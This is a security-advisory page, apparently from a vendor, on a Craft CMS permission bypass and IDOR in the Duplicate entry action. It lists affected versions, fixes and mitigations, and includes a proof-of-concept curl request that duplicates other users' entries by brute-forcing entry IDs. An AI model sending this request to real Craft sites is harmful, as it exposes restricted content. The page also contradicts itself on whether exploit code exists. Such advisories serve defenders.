How severe is CVE-2026-28782?

No CVSS score has been assigned to CVE-2026-28782 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-28782?

CVE-2026-28782 affects the following packages: craftcms/cms (Packagist), craftcms/cms (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2026-28782?

Update craftcms/cms to 5.9.0-beta.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28782 is resolved across your whole dependency graph.

How do I detect CVE-2026-28782 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-28782 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-28782?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-28782 can be triaged on real exposure rather than presence alone.

Is CVE-2026-28782 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-28782 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-28782?

CVE-2026-28782 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 15th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-28782?

CVE-2026-28782 is classified as CWE-639 (CWE-639). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-28782 published, and has it been updated?

CVE-2026-28782 was published on March 4, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2026-28782 — craftcms/cms

Fix: craftcms/cms@fb61a91

CVE-2026-28782 is a CWE-639 vulnerability in craftcms/cms. A fix is available for craftcms/cms — see the affected versions and patch details below.

Craft has a Permission Bypass and IDOR in Duplicate Entry Action

Also known asGHSA-jxm3-pmm2-9gf6

Published

Mar 4, 2026

Updated

Aug 12, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28782.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs15th percentile — riskier than 15% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

2 pkgs affected

🐘craftcms/cms🐘craftcms/cms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.

Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.

Proof of Concept

Prerequisites

A user with "View Entries" permission on any section.

Steps to Reproduce

Log in as a user with minimal permissions ("View Entries").
Identify the target Entry ID (e.g., via brute-force 1 to N).

Send the following cURL request:

Replace craft.local, <Cookie>, <CSRF> and 6393 (which is the entry ID):

curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action'

Observe that a new entry is created with the attacker as the owner, granting full access to the content.

Resources

https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`craftcms/cms`	≥ 5.0.0-RC1&&< 5.9.0-beta.1	5.9.0-beta.1`composer require craftcms/cms:^5.9.0-beta.1`
🐘Packagist	`craftcms/cms`	≥ 4.0.0-RC1&&< 4.17.0-beta.1	4.17.0-beta.1`composer require craftcms/cms:^4.17.0-beta.1`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/cms to 5.9.0-beta.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28782 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-28782 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-28782. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Description The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request. Furthermore, this vulnerability allows duplicating **other users' entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system. ## Proof of Concept ### Prerequisit

O3 Security · Impact-Aware SCA

Is CVE-2026-28782 in your dependencies?

O3 Security finds CVE-2026-28782 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works

CVE-2026-28782 — craftcms/cms

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

Real-World Exposure

Description

Description

Proof of Concept

Prerequisites

Steps to Reproduce

Resources

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

Frequently Asked Questions

Is CVE-2026-28782 in your dependencies?